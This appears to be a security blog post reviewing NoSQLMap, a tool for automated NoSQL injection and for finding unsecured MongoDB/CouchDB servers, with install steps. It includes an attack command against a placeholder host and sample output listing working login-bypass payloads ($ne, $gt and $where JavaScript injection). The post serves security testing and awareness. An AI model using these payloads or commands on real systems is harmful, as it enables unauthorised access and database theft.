Today we are going to take a look at NoSQLMap - a tool that is designed to find and exploit various NoSQL vulnerabilities. NoSQLMap is largely oriented towards testing MongoDB and CouchDB, but support for other NoSQL databases such as Redis and Cassandra is planned for future releases.
The Current Landscape
Various data-leaks in recent years have been attributed to people leaving MongoDB and other NoSQL databases unsecured and accessible to anyone. A few examples include:
Over 275 Million Records Exposed by Unsecured MongoDB Database (May 8, 2019) A huge MongoDB database exposing 275,265,298 records of Indian citizens containing detailed personally identifiable information (PII) was left unprotected on the Internet for more than two weeks.
Unsecured MongoDB database exposes real-time locations of families (25 Mar, 2019) The popular family tracking app Family Locator has for weeks exposed the real-time unencrypted location data of over 238,000 of its users
No more privacy: 202 Million private resumes exposed (10 Jan, 2019) 854 GB sized MongoDB database was left unattended, with no password/login authentication needed to view and access the details of what appeared to be more than 200 million very detailed resumes of Chinese job seekers.
MongoDB server leaks 11 million user records from e-marketing service (18 Sept, 2018) The data, contained in a 43.5GB dataset, included full names, email addresses, gender information, and physical addresses such as state, city, and ZIP code for 10,999,535 users.
The list goes on and on. If only there was an automated tool to check if your database was configured correctly…
Why Not Nmap?
You can already find online MongoBD servers fairly well with nmap, which also includes scripts specifically for MongoDB:
The following command will show all MongoDB instances which are listening on the default port, their names, if they require authentication and various info about the MongoDB server, such as version number, name of executable, process ID, hostname and alot of debug information.
nmap -p 27017 --script mongodb-* <target>
Whilst being a very useful tool in finding unauthenticated MongoDB servers, nmap does not detect common MongoDB vulnerabilities. Most public MongoDB servers are indexed by Shodan.io anyway.
Why Not Mongoaudit?
There’s also mongoaudit which helps to test for security misconfigurations and various vulnerabilities. If you do any DevOps and use mongo, go check it out now. Its CLI is a rather fancy material design, powered by urwid.
The following is a list of tests supported by mongoaudit, taken from their GitHub page:
- MongoDB listens on a port different to default one
- Server only accepts connections from whitelisted hosts / networks
- MongoDB HTTP status interface is not accessible on port 28017
- MongoDB is not exposing its version number
- MongoDB version is newer than 2.4
- TLS/SSL encryption is enabled
- Authentication is enabled
- SCRAM-SHA-1 authentication method is enabled
- Server-side Javascript is forbidden
- Roles granted to the user only permit CRUD operations
- The user has permissions over a single database
- … and a bunch of CVEs
Mongoaudit does what it says on the tin, and does it well. However, if you do not have direct access to the database, you are going to need to go through the web application - that’s where NoSQLMap comes in.
Setting Up
NoSQLMap can be installed by cloning their repository from GitHub and running the setup script.
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
All the requirements for running NoSQLMap, except Metasploit Framework, are installed during setup.
To run, just use the nosqlmap.py
command. You should be greeted by something similar to the following screenshot:
List of features:
- Automated MongoDB and CouchDB database enumeration and cloning attacks.
- Extraction of database names, users, and password hashes through MongoDB web applications.
- Scanning subnets or IP lists for MongoDB and CouchDB databases with default access and enumerating versions.
- Dictionary and brute force password cracking of recovered MongoDB and CouchDB hashes.
- PHP application parameter injection attacks against MongoClient to return all database records.
- Javascript function variable escaping and arbitrary code injection to return all database records.
- Timing based attacks similar to blind SQL injection to validate Javascript injection vulnerabilities with no feedback from the application.
Scan For Servers Without Authentication
Given a list of IP addresses or a subnet, NoSQLMap finds all MongoDB or CouchDB servers listening on the default port (27017 or 5984) without authentication.
Attack a Server Directly
The authentication of the server, web management interface and REST interface is tested. In a successful attack, the database can be enumerated, cloned, stolen and held for ransom. NoSQLMap also includes support for a Metasploit exploit if the running mongo version is 2.2.3 or older, which would allow remote code execution.
Attack a Web Application
Given a web app host, port and path, the tool will attempt to discover NoSQL injections. There is support for GET and POST requests, as well as adding your own request headers. With POST requests, setting the options from command line arguments can be less cumbersome than the provided old-school CLI menu.
For example, to attack a login page, NoSQLMap could be used like this:
nosqlmap.py --attack 2 --victim target.lan --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log
A brief explanation of the command line arguments:
- --attack 2 - Use the NoSQL Web App attacks
- --victim target.lan - The target host is target.lan
- --webPort 80 - The target webserver is listening on port 80
- --uri /login - The web path to attack
- --httpMethod POST - Use POST requests
- --postData email,test@test.test,password,qwerty - Use this CSV data for POST request
- --injectedParameter 1 - Inject into the first parameter (as listed by NoSQLMap)
- --injectSize 4 - The injected random string values should be 4 characters long
- --injectFormat 2 - For injected strings, use the “letters only” format
- --savePath output.log - Save all findings to a file called output.log
Example output:
user@host$ nosqlmap.py --attack 2 --victim target.lan --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log
Web App Attacks (POST)
===============
Checking to see if site at target.lan:80/login is up...
App is up!
List of parameters:
1-password
2-email
Injecting the password parameter...
Using VBxF for injection testing.
Sending random parameter value...
Got response length of 2552.
No change in response size injecting a random parameter..
Test 1: PHP/ExpressJS != associative array injection
Successful injection!
Test 2: PHP/ExpressJS > Undefined Injection
Successful injection!
Test 3: $where injection (string escape)
Successful injection!
Test 4: $where injection (integer escape)
Successful injection!
Test 5: $where injection string escape (single record)
Successful injection!
Test 6: $where injection integer escape (single record)
Successful injection!
Test 7: This != injection (string escape)
Successful injection!
Test 8: This != injection (integer escape)
Successful injection!
Exploitable requests:
{'email': 'test@test.test', 'password[$ne]': 'VBxF'}
{'email': 'test@test.test', 'password[$gt]': ''}
{'password': "a'; return db.a.find(); var dummy='!", 'email': 'test@test.test', 'password[$gt]': ''}
{'password': '1; return db.a.find(); var dummy=1', 'email': 'test@test.test', 'password[$gt]': ''}
{'password': "a'; return db.a.findOne(); var dummy='!", 'email': 'test@test.test', 'password[$gt]': ''}
{'password': '1; return db.a.findOne(); var dummy=1', 'email': 'test@test.test', 'password[$gt]': ''}
{'password': "a'; return this.a != 'VBxF'; var dummy='!", 'email': 'test@test.test', 'password[$gt]': ''}
{'password': "1; return this.a != 'VBxF'; var dummy=1", 'email': 'test@test.test', 'password[$gt]': ''}
Possibly vulnerable requests:
Timing based attacks:
String attack-Unsuccessful
Integer attack-Unsuccessful
We can see from the example that by pointing NoSQLMap at a vulnerable login page, it found 8 different request bodies that allow us to login as any user. If you want to learn more about exploiting NoSQL injection vulnerabilities, please have a look at our previous blog post about the topic.
Further Info
For more information, have a look at nosqlmap.py --help
or dig into the source code on GitHub.
Conclusion
We can see that even if the database server is protected and configured according to the MongoDB security checklist, a vulnerability in an unsecurely developed application can be found and exploited with an automated tool such as NoSQLMap. If you are not making an effort to test the security of your configuration, then the attackers will.